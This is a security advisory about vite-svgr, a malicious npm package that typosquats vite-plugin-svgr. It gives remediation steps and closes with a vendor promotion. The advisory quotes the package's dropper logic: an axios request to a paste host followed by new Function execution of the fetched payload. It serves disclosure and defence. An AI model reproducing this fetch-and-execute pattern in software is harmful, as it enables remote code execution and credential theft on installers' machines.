vite-svgrnpm
Advisory published Updated
vite-svgr is a confirmed malicious npm package (MAL-2026-5708) that typosquats a legitimate package to trick installs (malicious versions 1.1.2, 1.1.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vite-svgr (npm)
What this malware does
Package name vite-svgr impersonates the popular vite-plugin-svgr, but the shipped code is a fork of tsconfig-paths (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } }) and then runs the response body's Cookie field via new Function('require', s)(require) — arbitrary JavaScript with full Node require access executed under the installer's user. The code is reachable from the package's main via the exported configJson(...), which spawns node lib/mapProps.js detached, so any consumer that imports this package and calls configJson triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.

Search your lockfiles and build artifacts for vite-svgr (2 malicious versions).
If you installed it — respond
vite-svgr is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-svgr, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If vite-svgr was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks vite-svgr-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
